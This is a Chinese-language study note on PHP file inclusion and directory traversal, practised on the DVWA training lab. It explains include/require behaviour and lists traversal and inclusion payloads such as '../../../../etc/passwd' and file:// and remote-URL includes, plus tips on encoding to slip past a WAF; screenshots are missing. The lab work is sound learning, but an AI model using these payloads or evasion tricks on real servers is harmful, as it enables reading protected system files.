DVWA-文件包含-目录遍历学习笔记

一、文件包含与漏洞

文件包含:

  开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞:

  开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

二、文件包含漏洞用到的函数

require:找不到被包含的文件,报错,并且停止运行脚本。

include:找不到被包含的文件,只会报错,但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

三、目录遍历与文件包含的区别

  目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。

  文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。

四、文件包含特征

?page=a.php
?home=b.html
?file=content

检测方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

 

五、DVWA练习

 

如果有waf拦截,可以尝试进行各种编码,例如 url编码,unicode编码,HTML实体编码,base64编码等等!!

 

 

1.修改php.ini配置文件开启文件包含功能

 

allow_url_include = on

 

   DVWA-文件包含-目录遍历学习笔记

 

将DVWA的级别设置为low

 

1.分析源码,可以看到没有对page参数做任何过滤

 

  DVWA-文件包含-目录遍历学习笔记

 

 本地文件包含

 

2.尝试利用文件包含

 

2.1绝对路径

 

 DVWA-文件包含-目录遍历学习笔记

 

 

 

 

 

 

如果说外部文件包含不成功,

 

在uplodfile里一直出现allow_url_include not enbale问题我试着修改DVWA里的php.ini文件但是没有效果

这时去修改phpstudy里的对应PHP版本里的php.ini则有效果!

 

2.2 相对路径

DVWA-文件包含-目录遍历学习笔记

 

 

 

 

2.3远程文件包含

DVWA-文件包含-目录遍历学习笔记

 

 

 

 

最   重   要   的   一   部   分  !!!!!!!!!!!!!!!!!!

使用

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DVWA-文件包含-目录遍历学习笔记

 

 

 在Windows系统中,cd 只能进入文件夹,就比如图中的Windows/web文件夹,不能进入win.ini配置文件,但是在文件包含或者目录遍历中是可以的!!!

 

上一篇:DVWA—File Upload 文件上传


下一篇:DVWA 命令执行审计